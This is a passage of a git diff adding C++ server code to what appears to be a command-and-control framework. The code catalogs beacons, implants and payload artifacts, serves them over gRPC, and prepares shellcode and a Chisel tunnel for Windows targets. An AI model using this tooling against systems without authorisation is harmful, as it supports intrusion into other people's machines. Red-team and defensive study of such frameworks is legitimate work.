extension.erase(extension.begin()); + extension = toLower(extension); + if (extension.empty()) + return "binary"; + return extension; +} + +std::string detectScriptRuntime(const fs::path& path) +{ + const std::string format = detectFormat(path); + if (format == "ps1") + return "powershell"; + if (format == "py") + return "python"; + if (format == "sh") + return "shell"; + if (format == "bat" || format == "cmd") + return "cmd"; + return "script"; +} + +std::string detectUploadRuntime(const fs::path& path) +{ + const std::string scriptRuntime = detectScriptRuntime(path); + if (scriptRuntime != "script") + return scriptRuntime; + return "file"; +} + +std::string resolveRuntime(const std::string& category, const std::string& runtime, const fs::path& path) +{ + if (category == "script" && runtime == "script") + return detectScriptRuntime(path); + if (category == "upload" && runtime == "file") + return detectUploadRuntime(path); + return runtime; +} + +std::string sanitizeArtifactName(std::string value) +{ + value = fs::path(value).filename().string(); + for (char& ch : value) + { + const unsigned char c = static_cast(ch); + if (!std::isalnum(c) && ch != '.' && ch != '-' && ch != '_') + ch = '_'; + } + value.erase(std::remove(value.begin(), value.end(), '/'), value.end()); + value.erase(std::remove(value.begin(), value.end(), '\\'), value.end()); + return value.empty() ? "artifact.bin" : value; +} + +std::string normalizeUploadPlatform(std::string platform) +{ + platform = toLower(platform); + if (platform == "windows" || platform == "win") + return "windows"; + if (platform == "linux") + return "linux"; + return "any"; +} + +std::string normalizeUploadArch( + const std::string& platform, + const std::string& arch, + const TeamServerRuntimeConfig& runtimeConfig) +{ + std::string normalized; + if (platform == "windows") + normalized = TeamServerRuntimeConfig::normalizeWindowsArch(arch); + else if (platform == "linux") + normalized = TeamServerRuntimeConfig::normalizeLinuxArch(arch); + + if (!normalized.empty()) + return normalized; + if (platform == "windows") + return runtimeConfig.defaultWindowsArch.empty() ? "x64" : runtimeConfig.defaultWindowsArch; + if (platform == "linux") + return runtimeConfig.defaultLinuxArch.empty() ? "x64" : runtimeConfig.defaultLinuxArch; + return "any"; +} + +void collectDirectoryArtifacts( + const fs::path& root, + const std::string& category, + const std::string& scope, + const std::string& target, + const std::string& platform, + const std::string& arch, + const std::string& runtime, + std::vector& artifacts, + const std::string& source = ReleaseSource) +{ + std::error_code ec; + if (root.empty() || !fs::exists(root, ec) || !fs::is_directory(root, ec)) + return; + + fs::recursive_directory_iterator iterator(root, fs::directory_options::skip_permission_denied, ec); + const fs::recursive_directory_iterator end; + if (ec) + return; + + for (; iterator != end; iterator.increment(ec)) + { + if (ec) + { + ec.clear(); + continue; + } + + const fs::path path = iterator->path(); + if (!fs::is_regular_file(path, ec)) + continue; + + const fs::path relativePath = fs::relative(path, root, ec); + if (ec) + { + ec.clear(); + continue; + } + if (hasHiddenComponent(relativePath)) + continue; + if (path.filename().string().find(".artifact.") != std::string::npos) + continue; + if (fs::exists(fs::path(path.string() + ".artifact.json"), ec)) + continue; + ec.clear(); + + const std::string contentHash = sha256File(path); + if (contentHash.empty()) + continue; + + TeamServerArtifactRecord artifact; + artifact.name = relativePath.generic_string(); + artifact.displayName = path.filename().string(); + artifact.category = category; + artifact.scope = scope; + artifact.target = target; + artifact.platform = platform; + artifact.arch = arch; + artifact.format = detectFormat(path); + artifact.runtime = resolveRuntime(category, runtime, path); + artifact.source = source; + artifact.sha256 = contentHash; + artifact.internalPath = path.string(); + + artifact.size = static_cast(fs::file_size(path, ec)); + if (ec) + { + ec.clear(); + artifact.size = 0; + } + + artifact.artifactId = sha256String( + artifact.source + "\n" + + artifact.category + "\n" + + artifact.target + "\n" + + artifact.platform + "\n" + + artifact.arch + "\n" + + artifact.runtime + "\n" + + artifact.name + "\n" + + artifact.sha256); + if (artifact.artifactId.empty()) + continue; + artifacts.push_back(std::move(artifact)); + } +} + +void collectGeneratedArtifacts( + const fs::path& root, + std::vector& artifacts) +{ + std::error_code ec; + if (root.empty() || !fs::exists(root, ec) || !fs::is_directory(root, ec)) + return; + + fs::recursive_directory_iterator iterator(root, fs::directory_options::skip_permission_denied, ec); + const fs::recursive_directory_iterator end; + if (ec) + return; + + for (; iterator != end; iterator.increment(ec)) + { + if (ec) + { + ec.clear(); + continue; + } + + const fs::path sidecarPath = iterator->path(); + if (!fs::is_regular_file(sidecarPath, ec) || sidecarPath.extension() != ".json") + continue; + if (sidecarPath.filename().string().find(".artifact.json") == std::string::npos) + continue; + + std::ifstream input(sidecarPath); + if (!input.good()) + continue; + json metadata = json::parse(input, nullptr, false); + if (metadata.is_discarded() || !metadata.is_object()) + continue; + + const fs::path payloadPath = sidecarPath.parent_path() / jsonString(metadata, "file"); + if (!isPathWithinRoot(payloadPath, root)) + continue; + if (!fs::exists(payloadPath, ec) || !fs::is_regular_file(payloadPath, ec)) + continue; + const std::string contentHash = sha256File(payloadPath); + if (contentHash.empty()) + continue; + + TeamServerArtifactRecord artifact; + artifact.name = jsonString(metadata, "name", payloadPath.filename().string()); + artifact.displayName = jsonString(metadata, "display_name", payloadPath.filename().string()); + artifact.category = jsonString(metadata, "category", "payload"); + artifact.scope = jsonString(metadata, "scope", "generated"); + artifact.target = jsonString(metadata, "target", "beacon"); + artifact.platform = jsonString(metadata, "platform", "any"); + artifact.arch = jsonString(metadata, "arch", "any"); + artifact.format = jsonString(metadata, "format", detectFormat(payloadPath)); + artifact.runtime = jsonString(metadata, "runtime", "shellcode"); + artifact.source = jsonString(metadata, "source", "generated"); + artifact.description = jsonString(metadata, "description"); + artifact.tags = jsonStringList(metadata, "tags"); + artifact.sha256 = jsonString(metadata, "sha256", contentHash); + if (artifact.sha256 != contentHash) + continue; + artifact.internalPath = payloadPath.string(); + artifact.size = static_cast(fs::file_size(payloadPath, ec)); + if (ec) + { + ec.clear(); + artifact.size = 0; + } + + artifact.artifactId = jsonString(metadata, "artifact_id"); + if (artifact.artifactId.empty()) + { + artifact.artifactId = sha256String( + artifact.source + "\n" + + artifact.category + "\n" + + artifact.target + "\n" + + artifact.platform + "\n" + + artifact.arch + "\n" + + artifact.runtime + "\n" + + artifact.name + "\n" + + artifact.sha256); + } + if (!artifact.artifactId.empty() && !artifact.sha256.empty()) + artifacts.push_back(std::move(artifact)); + } +} + +void collectPlatformArchArtifacts( + const fs::path& root, + const std::vector& supportedArchs, + const std::string& platform, + const std::string& category, + const std::string& scope, + const std::string& target, + const std::string& runtime, + std::vector& artifacts) +{ + for (const std::string& arch : supportedArchs) + collectDirectoryArtifacts(root / arch, category, scope, target, platform, arch, runtime, artifacts); +} + +void collectToolsArtifacts( + const fs::path& root, + const std::vector& supportedWindowsArchs, + const std::vector& supportedLinuxArchs, + std::vector& artifacts) +{ + collectDirectoryArtifacts(root / "Any" / "any", "tool", "server", "teamserver", "any", "any", "any", artifacts); + collectPlatformArchArtifacts(root / "Windows", supportedWindowsArchs, "windows", "tool", "server", "teamserver", "any", artifacts); + collectPlatformArchArtifacts(root / "Linux", supportedLinuxArchs, "linux", "tool", "server", "teamserver", "any", artifacts); +} + +void collectScriptArtifacts( + const fs::path& root, + std::vector& artifacts) +{ + collectDirectoryArtifacts(root / "Windows", "script", "server", "beacon", "windows", "any", "script", artifacts); + collectDirectoryArtifacts(root / "Linux", "script", "server", "beacon", "linux", "any", "script", artifacts); + collectDirectoryArtifacts(root / "Any", "script", "server", "beacon", "any", "any", "script", artifacts); +} + +void collectUploadedArtifacts( + const fs::path& root, + const std::vector& supportedWindowsArchs, + const std::vector& supportedLinuxArchs, + std::vector& artifacts) +{ + collectDirectoryArtifacts(root / "Any" / "any", "upload", "operator", "beacon", "any", "any", "file", artifacts); + collectPlatformArchArtifacts(root / "Windows", supportedWindowsArchs, "windows", "upload", "operator", "beacon", "file", artifacts); + collectPlatformArchArtifacts(root / "Linux", supportedLinuxArchs, "linux", "upload", "operator", "beacon", "file", artifacts); +} + +bool sortArtifacts(const TeamServerArtifactRecord& left, const TeamServerArtifactRecord& right) +{ + return std::tie(left.category, left.scope, left.platform, left.arch, left.name, left.artifactId) + < std::tie(right.category, right.scope, right.platform, right.arch, right.name, right.artifactId); +} +} // namespace + +TeamServerArtifactCatalog::TeamServerArtifactCatalog(TeamServerRuntimeConfig runtimeConfig) + : m_runtimeConfig(std::move(runtimeConfig)) +{ +} + +std::vector TeamServerArtifactCatalog::listArtifacts(const TeamServerArtifactQuery& query) const +{ + std::vector allArtifacts; + collectDirectoryArtifacts(m_runtimeConfig.teamServerModulesDirectoryPath, "module", "teamserver", "teamserver", "server", "any", "native", allArtifacts); + collectPlatformArchArtifacts(m_runtimeConfig.linuxModulesDirectoryPath, m_runtimeConfig.supportedLinuxArchs, "linux", "module", "beacon", "beacon", "native", allArtifacts); + collectPlatformArchArtifacts(m_runtimeConfig.windowsModulesDirectoryPath, m_runtimeConfig.supportedWindowsArchs, "windows", "module", "beacon", "beacon", "native", allArtifacts); + collectPlatformArchArtifacts(m_runtimeConfig.linuxBeaconsDirectoryPath, m_runtimeConfig.supportedLinuxArchs, "linux", "beacon", "implant", "listener", "native", allArtifacts); + collectPlatformArchArtifacts(m_runtimeConfig.windowsBeaconsDirectoryPath, m_runtimeConfig.supportedWindowsArchs, "windows", "beacon", "implant", "listener", "native", allArtifacts); + collectToolsArtifacts(m_runtimeConfig.toolsDirectoryPath, m_runtimeConfig.supportedWindowsArchs, m_runtimeConfig.supportedLinuxArchs, allArtifacts); + collectScriptArtifacts(m_runtimeConfig.scriptsDirectoryPath, allArtifacts); + collectUploadedArtifacts(m_runtimeConfig.uploadedArtifactsDirectoryPath, m_runtimeConfig.supportedWindowsArchs, m_runtimeConfig.supportedLinuxArchs, allArtifacts); + collectDirectoryArtifacts(m_runtimeConfig.hostedArtifactsDirectoryPath, "hosted", "generated", "listener", "any", "any", "file", allArtifacts, "operator"); + collectGeneratedArtifacts(m_runtimeConfig.generatedArtifactsDirectoryPath, allArtifacts); + + std::vector filteredArtifacts; + for (const TeamServerArtifactRecord& artifact : allArtifacts) + { + if (matchesQuery(artifact, query)) + filteredArtifacts.push_back(artifact); + } + + std::sort(filteredArtifacts.begin(), filteredArtifacts.end(), sortArtifacts); + return filteredArtifacts; +} + +bool TeamServerArtifactCatalog::readArtifactPayload( + const std::string& artifactId, + TeamServerArtifactRecord& artifact, + std::string& bytes, + std::string& message) const +{ + if (artifactId.empty()) + { + message = "Missing artifact id."; + return false; + } + + const std::vector artifacts = listArtifacts(); + const auto it = std::find_if( + artifacts.begin(), + artifacts.end(), + [&](const TeamServerArtifactRecord& candidate) + { + return candidate.artifactId == artifactId; + }); + if (it == artifacts.end()) + { + message = "Artifact not found."; + return false; + } + + std::ifstream input(it->internalPath, std::ios::binary); + if (!input.good()) + { + message = "Artifact payload could not be read."; + return false; + } + + bytes.assign(std::istreambuf_iterator(input), {}); + if (!input.good() && !input.eof()) + { + message = "Artifact payload read failed."; + return false; + } + + artifact = *it; + message = "Artifact downloaded."; + return true; +} + +bool TeamServerArtifactCatalog::storeUploadedArtifact( + const std::string& name, + const std::string& bytes, + const std::string& platform, + const std::string& arch, + TeamServerArtifactRecord& artifact, + std::string& message) const +{ + const std::string fileName = sanitizeArtifactName(name); + const std::string normalizedPlatform = normalizeUploadPlatform(platform); + const std::string normalizedArch = normalizeUploadArch(normalizedPlatform, arch, m_runtimeConfig); + + fs::path destinationRoot = m_runtimeConfig.uploadedArtifactsDirectoryPath; + if (normalizedPlatform == "windows") + destinationRoot /= fs::path("Windows") / normalizedArch; + else if (normalizedPlatform == "linux") + destinationRoot /= fs::path("Linux") / normalizedArch; + else + destinationRoot /= fs::path("Any") / "any"; + + std::error_code ec; + fs::create_directories(destinationRoot, ec); + if (ec) + { + message = "Upload artifact directory could not be created: " + ec.message(); + return false; + } + + const fs::path destinationPath = destinationRoot / fileName; + std::ofstream output(destinationPath, std::ios::binary | std::ios::trunc); + if (!output.good()) + { + message = "Upload artifact could not be opened: " + destinationPath.filename().string(); + return false; + } + output.write(bytes.data(), static_cast(bytes.size())); + output.close(); + if (!output.good()) + { + message = "Upload artifact could not be written: " + destinationPath.filename().string(); + return false; + } + + const std::string destinationString = destinationPath.string(); + for (const TeamServerArtifactRecord& candidate : listArtifacts()) + { + if (candidate.internalPath == destinationString) + { + artifact = candidate; + message = "Uploaded artifact stored: " + candidate.name; + return true; + } + } + + message = "Upload artifact stored, but catalog indexing failed."; + return false; +} + +bool TeamServerArtifactCatalog::deleteGeneratedArtifact(const std::string& artifactId, std::string& message) const +{ + if (artifactId.empty()) + { + message = "Missing artifact id."; + return false; + } + + std::vector generatedArtifacts; + collectGeneratedArtifacts(m_runtimeConfig.generatedArtifactsDirectoryPath, generatedArtifacts); + + const auto it = std::find_if( + generatedArtifacts.begin(), + generatedArtifacts.end(), + [&](const TeamServerArtifactRecord& artifact) + { + return artifact.artifactId == artifactId; + }); + if (it == generatedArtifacts.end()) + { + TeamServerArtifactQuery hostedQuery; + hostedQuery.category = "hosted"; + hostedQuery.scope = "generated"; + const std::vector hostedArtifacts = listArtifacts(hostedQuery); + const auto hostedIt = std::find_if( + hostedArtifacts.begin(), + hostedArtifacts.end(), + [&](const TeamServerArtifactRecord& artifact) + { + return artifact.artifactId == artifactId; + }); + + if (hostedIt == hostedArtifacts.end()) + { + TeamServerArtifactQuery uploadQuery; + uploadQuery.category = "upload"; + uploadQuery.scope = "operator"; + const std::vector uploadedArtifacts = listArtifacts(uploadQuery); + const auto uploadIt = std::find_if( + uploadedArtifacts.begin(), + uploadedArtifacts.end(), + [&](const TeamServerArtifactRecord& artifact) + { + return artifact.artifactId == artifactId; + }); + + if (uploadIt == uploadedArtifacts.end()) + { + message = "Artifact not found."; + return false; + } + + const fs::path uploadedRoot = m_runtimeConfig.uploadedArtifactsDirectoryPath; + const fs::path payloadPath = uploadIt->internalPath; + if (!isPathWithinRoot(payloadPath, uploadedRoot)) + { + message = "Uploaded artifact path is outside the uploaded artifact root."; + return false; + } + + std::error_code uploadEc; + const bool removedUploadedPayload = fs::remove(payloadPath, uploadEc); + if (uploadEc) + { + message = "Uploaded artifact could not be deleted: " + uploadEc.message(); + return false; + } + if (!removedUploadedPayload) + { + message = "Uploaded artifact file was already missing."; + return false; + } + + message = "Uploaded artifact deleted."; + return true; + } + + const fs::path hostedRoot = m_runtimeConfig.hostedArtifactsDirectoryPath; + const fs::path payloadPath = hostedIt->internalPath; + if (!isPathWithinRoot(payloadPath, hostedRoot)) + { + message = "Hosted artifact path is outside the hosted artifact root."; + return false; + } + + std::error_code hostedEc; + const bool removedHostedPayload = fs::remove(payloadPath, hostedEc); + if (hostedEc) + { + message = "Hosted artifact could not be deleted: " + hostedEc.message(); + return false; + } + if (!removedHostedPayload) + { + message = "Hosted artifact file was already missing."; + return false; + } + + message = "Hosted artifact deleted."; + return true; + } + + if (it->scope != "generated") + { + message = "Only generated artifacts can be deleted."; + return false; + } + + const fs::path root = m_runtimeConfig.generatedArtifactsDirectoryPath; + const fs::path payloadPath = it->internalPath; + const fs::path sidecarPath = it->internalPath + ".artifact.json"; + if (!isPathWithinRoot(payloadPath, root) || !isPathWithinRoot(sidecarPath, root)) + { + message = "Generated artifact path is outside the generated artifact root."; + return false; + } + + std::error_code ec; + const bool removedPayload = fs::remove(payloadPath, ec); + if (ec) + { + message = "Generated artifact payload could not be deleted: " + ec.message(); + return false; + } + + const bool removedSidecar = fs::remove(sidecarPath, ec); + if (ec) + { + message = "Generated artifact metadata could not be deleted: " + ec.message(); + return false; + } + + if (!removedPayload && !removedSidecar) + { + message = "Generated artifact files were already missing."; + return false; + } + + message = "Generated artifact deleted."; + return true; +} diff --git a/teamServer/teamServer/TeamServerArtifactCatalog.hpp b/teamServer/teamServer/TeamServerArtifactCatalog.hpp new file mode 100644 index 0000000..3844fa9 --- /dev/null +++ b/teamServer/teamServer/TeamServerArtifactCatalog.hpp @@ -0,0 +1,53 @@ +#pragma once + +#include +#include +#include + +#include "TeamServerRuntimeConfig.hpp" + +struct TeamServerArtifactQuery +{ + std::string category; + std::string scope; + std::string target; + std::string platform; + std::string arch; + std::string runtime; + std::string nameContains; + std::string format; +}; + +struct TeamServerArtifactRecord +{ + std::string artifactId; + std::string name; + std::string displayName; + std::string category; + std::string scope; + std::string target; + std::string platform; + std::string arch; + std::string format; + std::string runtime; + std::string source; + std::int64_t size = 0; + std::string sha256; + std::string description; + std::vector tags; + std::string internalPath; +}; + +class TeamServerArtifactCatalog +{ +public: + explicit TeamServerArtifactCatalog(TeamServerRuntimeConfig runtimeConfig); + + std::vector listArtifacts(const TeamServerArtifactQuery& query = {}) const; + bool readArtifactPayload(const std::string& artifactId, TeamServerArtifactRecord& artifact, std::string& bytes, std::string& message) const; + bool storeUploadedArtifact(const std::string& name, const std::string& bytes, const std::string& platform, const std::string& arch, TeamServerArtifactRecord& artifact, std::string& message) const; + bool deleteGeneratedArtifact(const std::string& artifactId, std::string& message) const; + +private: + TeamServerRuntimeConfig m_runtimeConfig; +}; diff --git a/teamServer/teamServer/TeamServerArtifactService.cpp b/teamServer/teamServer/TeamServerArtifactService.cpp new file mode 100644 index 0000000..53d17cf --- /dev/null +++ b/teamServer/teamServer/TeamServerArtifactService.cpp @@ -0,0 +1,129 @@ +#include "TeamServerArtifactService.hpp" + +#include +#include +#include + +TeamServerArtifactService::TeamServerArtifactService( + std::shared_ptr logger, + TeamServerArtifactCatalog catalog) + : m_logger(std::move(logger)), + m_catalog(std::move(catalog)) +{ +} + +grpc::Status TeamServerArtifactService::listArtifacts( + const teamserverapi::ArtifactQuery& query, + const ArtifactWriter& writer) const +{ + TeamServerArtifactQuery catalogQuery; + catalogQuery.category = query.category(); + catalogQuery.scope = query.scope(); + catalogQuery.target = query.target(); + catalogQuery.platform = query.platform(); + catalogQuery.arch = query.arch(); + catalogQuery.runtime = query.runtime(); + catalogQuery.nameContains = query.name_contains(); + catalogQuery.format = query.format(); + + const std::vector artifacts = m_catalog.listArtifacts(catalogQuery); + m_logger->debug("ListArtifacts returned {0} artifact(s)", artifacts.size()); + + for (const TeamServerArtifactRecord& artifact : artifacts) + { + if (!writer(toProto(artifact))) + break; + } + + return grpc::Status::OK; +} + +grpc::Status TeamServerArtifactService::downloadArtifact( + const teamserverapi::ArtifactSelector& selector, + teamserverapi::ArtifactContent* response) const +{ + TeamServerArtifactRecord artifact; + std::string bytes; + std::string message; + const bool downloaded = m_catalog.readArtifactPayload(selector.artifact_id(), artifact, bytes, message); + + response->set_status(downloaded ? teamserverapi::OK : teamserverapi::KO); + response->set_message(message); + if (downloaded) + { + response->set_artifact_id(artifact.artifactId); + response->set_name(artifact.name); + response->set_display_name(artifact.displayName); + response->set_data(std::move(bytes)); + m_logger->info("Downloaded artifact {0}", selector.artifact_id()); + } + else + { + m_logger->warn("Download artifact failed for {0}: {1}", selector.artifact_id(), message); + } + + return grpc::Status::OK; +} + +grpc::Status TeamServerArtifactService::uploadArtifact( + const teamserverapi::ArtifactUploadRequest& request, + teamserverapi::OperationAck* response) const +{ + TeamServerArtifactRecord artifact; + std::string message; + const bool uploaded = m_catalog.storeUploadedArtifact( + request.name(), + request.data(), + request.platform(), + request.arch(), + artifact, + message); + + response->set_status(uploaded ? teamserverapi::OK : teamserverapi::KO); + response->set_message(message); + if (uploaded) + m_logger->info("Uploaded artifact {0}", artifact.name); + else + m_logger->warn("Upload artifact failed for {0}: {1}", request.name(), message); + + return grpc::Status::OK; +} + +grpc::Status TeamServerArtifactService::deleteGeneratedArtifact( + const teamserverapi::ArtifactSelector& selector, + teamserverapi::OperationAck* response) const +{ + std::string message; + const bool deleted = m_catalog.deleteGeneratedArtifact(selector.artifact_id(), message); + + response->set_status(deleted ? teamserverapi::OK : teamserverapi::KO); + response->set_message(message); + if (deleted) + m_logger->info("Deleted artifact {0}", selector.artifact_id()); + else + m_logger->warn("Delete artifact failed for {0}: {1}", selector.artifact_id(), message); + + return grpc::Status::OK; +} + +teamserverapi::ArtifactSummary TeamServerArtifactService::toProto(const TeamServerArtifactRecord& artifact) +{ + teamserverapi::ArtifactSummary summary; + summary.set_artifact_id(artifact.artifactId); + summary.set_name(artifact.name); + summary.set_display_name(artifact.displayName); + summary.set_category(artifact.category); + summary.set_scope(artifact.scope); + summary.set_target(artifact.target); + summary.set_platform(artifact.platform); + summary.set_arch(artifact.arch); + summary.set_format(artifact.format); + summary.set_runtime(artifact.runtime); + summary.set_source(artifact.source); + summary.set_size(artifact.size); + summary.set_sha256(artifact.sha256); + summary.set_description(artifact.description); + for (const std::string& tag : artifact.tags) + summary.add_tags(tag); + return summary; +} diff --git a/teamServer/teamServer/TeamServerArtifactService.hpp b/teamServer/teamServer/TeamServerArtifactService.hpp new file mode 100644 index 0000000..104f26f --- /dev/null +++ b/teamServer/teamServer/TeamServerArtifactService.hpp @@ -0,0 +1,39 @@ +#pragma once + +#include +#include + +#include + +#include "TeamServerApi.pb.h" +#include "TeamServerArtifactCatalog.hpp" +#include "spdlog/logger.h" + +class TeamServerArtifactService +{ +public: + using ArtifactWriter = std::function; + + TeamServerArtifactService( + std::shared_ptr logger, + TeamServerArtifactCatalog catalog); + + grpc::Status listArtifacts( + const teamserverapi::ArtifactQuery& query, + const ArtifactWriter& writer) const; + grpc::Status downloadArtifact( + const teamserverapi::ArtifactSelector& selector, + teamserverapi::ArtifactContent* response) const; + grpc::Status uploadArtifact( + const teamserverapi::ArtifactUploadRequest& request, + teamserverapi::OperationAck* response) const; + grpc::Status deleteGeneratedArtifact( + const teamserverapi::ArtifactSelector& selector, + teamserverapi::OperationAck* response) const; + +private: + static teamserverapi::ArtifactSummary toProto(const TeamServerArtifactRecord& artifact); + + std::shared_ptr m_logger; + TeamServerArtifactCatalog m_catalog; +}; diff --git a/teamServer/teamServer/TeamServerAssemblyExecCommandPreparer.cpp b/teamServer/teamServer/TeamServerAssemblyExecCommandPreparer.cpp new file mode 100644 index 0000000..34e3ba6 --- /dev/null +++ b/teamServer/teamServer/TeamServerAssemblyExecCommandPreparer.cpp @@ -0,0 +1,137 @@ +#include "TeamServerAssemblyExecCommandPreparer.hpp" + +#include +#include +#include + +#include "modules/AssemblyExec/AssemblyExecCommandOptions.hpp" + +namespace fs = std::filesystem; + +namespace +{ +std::string resolveSourcePath( + const TeamServerRuntimeConfig& runtimeConfig, + const std::string& path, + const std::string& windowsArch) +{ + if (path.empty()) + return ""; + if (fs::exists(path)) + return path; + + const std::array toolCandidates = { + fs::path(runtimeConfig.toolsDirectoryPath) / "Windows" / windowsArch / path, + fs::path(runtimeConfig.toolsDirectoryPath) / "Any" / "any" / path, + fs::path(runtimeConfig.toolsDirectoryPath) / path, + }; + for (const fs::path& toolPath : toolCandidates) + { + if (fs::exists(toolPath)) + return toolPath.string(); + } + return path; +} + +ModuleCmd* findModule(std::vector>& modules, const std::string& name) +{ + const std::string loweredName = assembly_exec_command::lowerCopy(name); + for (const auto& module : modules) + { + if (module && assembly_exec_command::lowerCopy(module->getName()) == loweredName) + return module.get(); + } + return nullptr; +} +} // namespace + +TeamServerAssemblyExecCommandPreparer::TeamServerAssemblyExecCommandPreparer( + std::shared_ptr logger, + TeamServerRuntimeConfig runtimeConfig, + std::shared_ptr shellcodeService, + std::shared_ptr artifactStore, + std::vector>& moduleCmd) + : m_logger(std::move(logger)), + m_runtimeConfig(std::move(runtimeConfig)), + m_shellcodeService(std::move(shellcodeService)), + m_artifactStore(std::move(artifactStore)), + m_moduleCmd(moduleCmd) +{ +} + +bool TeamServerAssemblyExecCommandPreparer::canPrepare(const std::string& instruction) const +{ + return assembly_exec_command::lowerCopy(instruction) == "assemblyexec"; +} + +TeamServerCommandPreparerResult TeamServerAssemblyExecCommandPreparer::prepare( + const TeamServerCommandPreparerContext& context, + C2Message& c2Message) const +{ + TeamServerCommandPreparerResult result; + assembly_exec_command::CommandOptions options = assembly_exec_command::parseCommandOptions(context.tokens); + if (options.modeOnly) + return result; + + result.handled = true; + result.status = -1; + if (!options.error.empty()) + { + c2Message.set_returnvalue(options.error + "\n"); + return result; + } + + if (!m_shellcodeService || !m_artifactStore) + { + c2Message.set_returnvalue("Shellcode preparation service is not available.\n"); + return result; + } + + TeamServerShellcodeRequest shellcodeRequest; + shellcodeRequest.generator = options.generator; + shellcodeRequest.sourcePath = resolveSourcePath(m_runtimeConfig, options.sourcePath, context.windowsArch); + shellcodeRequest.sourceType = options.sourceType; + shellcodeRequest.arch = context.windowsArch; + shellcodeRequest.method = options.method; + shellcodeRequest.arguments = options.arguments; + shellcodeRequest.exitPolicy = options.mode == "thread" ? "thread" : "process"; + + TeamServerShellcodeResult shellcode = m_shellcodeService->generate(shellcodeRequest); + if (!shellcode.ok) + { + c2Message.set_returnvalue(shellcode.message + "\n"); + return result; + } + + TeamServerGeneratedArtifactRequest artifactRequest; + artifactRequest.nameHint = "assemblyExec-" + fs::path(shellcodeRequest.sourcePath).filename().string() + ".bin"; + artifactRequest.bytes = shellcode.bytes; + artifactRequest.platform = context.isWindows ? "windows" : "linux"; + artifactRequest.arch = context.isWindows ? context.windowsArch : "any"; + artifactRequest.source = shellcode.generator; + artifactRequest.description = "Generated shellcode for assemblyExec."; + artifactRequest.tags = {"assemblyExec", shellcode.sourceType}; + TeamServerGeneratedArtifactRecord artifact = m_artifactStore->store(artifactRequest); + if (artifact.path.empty()) + { + c2Message.set_returnvalue("Could not store generated shellcode artifact.\n"); + return result; + } + + ModuleCmd* module = findModule(m_moduleCmd, "assemblyExec"); + if (!module) + { + c2Message.set_returnvalue("Module assemblyExec not found.\n"); + return result; + } + + ModulePreparedShellcodeTask task; + task.inputFile = artifact.path; + task.payload = shellcode.bytes; + task.executionMode = options.mode.empty() ? "process" : options.mode; + task.displayCommand = options.displayCommand; + result.status = module->initPreparedShellcode(task, c2Message); + if (result.status == 0 && m_logger) + m_logger->info("assemblyExec prepared shellcode artifact {}", artifact.path); + return result; +} diff --git a/teamServer/teamServer/TeamServerAssemblyExecCommandPreparer.hpp b/teamServer/teamServer/TeamServerAssemblyExecCommandPreparer.hpp new file mode 100644 index 0000000..42a2541 --- /dev/null +++ b/teamServer/teamServer/TeamServerAssemblyExecCommandPreparer.hpp @@ -0,0 +1,35 @@ +#pragma once + +#include +#include +#include + +#include "TeamServerCommandPreparer.hpp" +#include "TeamServerGeneratedArtifactStore.hpp" +#include "TeamServerRuntimeConfig.hpp" +#include "TeamServerShellcodeService.hpp" +#include "modules/ModuleCmd/ModuleCmd.hpp" +#include "spdlog/logger.h" + +class TeamServerAssemblyExecCommandPreparer final : public TeamServerCommandPreparer +{ +public: + TeamServerAssemblyExecCommandPreparer( + std::shared_ptr logger, + TeamServerRuntimeConfig runtimeConfig, + std::shared_ptr shellcodeService, + std::shared_ptr artifactStore, + std::vector>& moduleCmd); + + bool canPrepare(const std::string& instruction) const override; + TeamServerCommandPreparerResult prepare( + const TeamServerCommandPreparerContext& context, + C2Message& c2Message) const override; + +private: + std::shared_ptr m_logger; + TeamServerRuntimeConfig m_runtimeConfig; + std::shared_ptr m_shellcodeService; + std::shared_ptr m_artifactStore; + std::vector>& m_moduleCmd; +}; diff --git a/teamServer/teamServer/TeamServerChiselCommandPreparer.cpp b/teamServer/teamServer/TeamServerChiselCommandPreparer.cpp new file mode 100644 index 0000000..a4ccc59 --- /dev/null +++ b/teamServer/teamServer/TeamServerChiselCommandPreparer.cpp @@ -0,0 +1,146 @@ +#include "TeamServerChiselCommandPreparer.hpp" + +#include +#include +#include +#include +#include + +#include "modules/ModuleCmd/Common.hpp" + +namespace fs = std::filesystem; + +namespace +{ +std::string toLower(std::string value) +{ + std::transform(value.begin(), value.end(), value.begin(), [](unsigned char c) + { + return static_cast(std::tolower(c)); + }); + return value; +} + +std::vector regroup(const std::vector& tokens) +{ + return regroupStrings(tokens); +} + +std::string joinTail(const std::vector& tokens, std::size_t start) +{ + std::ostringstream output; + for (std::size_t index = start; index < tokens.size(); ++index) + { + if (index != start) + output << ' '; + output << tokens[index]; + } + return output.str(); +} + +ModuleCmd* findModule(std::vector>& modules, const std::string& name) +{ + const std::string loweredName = toLower(name); + for (const auto& module : modules) + { + if (module && toLower(module->getName()) == loweredName) + return module.get(); + } + return nullptr; +} + +TeamServerCommandPreparerResult handledError(C2Message& c2Message, const std::string& message) +{ + TeamServerCommandPreparerResult result; + result.handled = true; + result.status = -1; + c2Message.set_returnvalue(message); + return result; +} +} // namespace + +TeamServerChiselCommandPreparer::TeamServerChiselCommandPreparer( + std::shared_ptr logger, + TeamServerRuntimeConfig runtimeConfig, + std::shared_ptr shellcodeService, + std::shared_ptr artifactStore, + std::vector>& moduleCmd) + : m_logger(std::move(logger)), + m_runtimeConfig(std::move(runtimeConfig)), + m_shellcodeService(std::move(shellcodeService)), + m_artifactStore(std::move(artifactStore)), + m_moduleCmd(moduleCmd) +{ +} + +bool TeamServerChiselCommandPreparer::canPrepare(const std::string& instruction) const +{ + return toLower(instruction) == "chisel"; +} + +TeamServerCommandPreparerResult TeamServerChiselCommandPreparer::prepare( + const TeamServerCommandPreparerContext& context, + C2Message& c2Message) const +{ + TeamServerCommandPreparerResult result; + const std::vector tokens = regroup(context.tokens); + if (tokens.size() >= 2) + { + const std::string action = toLower(tokens[1]); + if (action == "status" || action == "stop") + return result; + } + + result.handled = true; + result.status = -1; + if (!context.isWindows) + return handledError(c2Message, "chisel is Windows-only.\n"); + if (tokens.size() < 4 || toLower(tokens[1]) != "client") + return handledError(c2Message, "Usage: chisel client \n"); + if (!m_shellcodeService || !m_artifactStore) + return handledError(c2Message, "Shellcode preparation service is not available.\n"); + + ModuleCmd* module = findModule(m_moduleCmd, "chisel"); + if (!module) + return handledError(c2Message, "Module chisel not found.\n"); + + const std::string arch = context.windowsArch.empty() ? m_runtimeConfig.defaultWindowsArch : context.windowsArch; + const fs::path chiselPath = fs::path(m_runtimeConfig.toolsDirectoryPath) / "Windows" / arch / "chisel.exe"; + if (!fs::exists(chiselPath)) + return handledError(c2Message, "Required Chisel tool not found: " + chiselPath.string() + "\n"); + + const 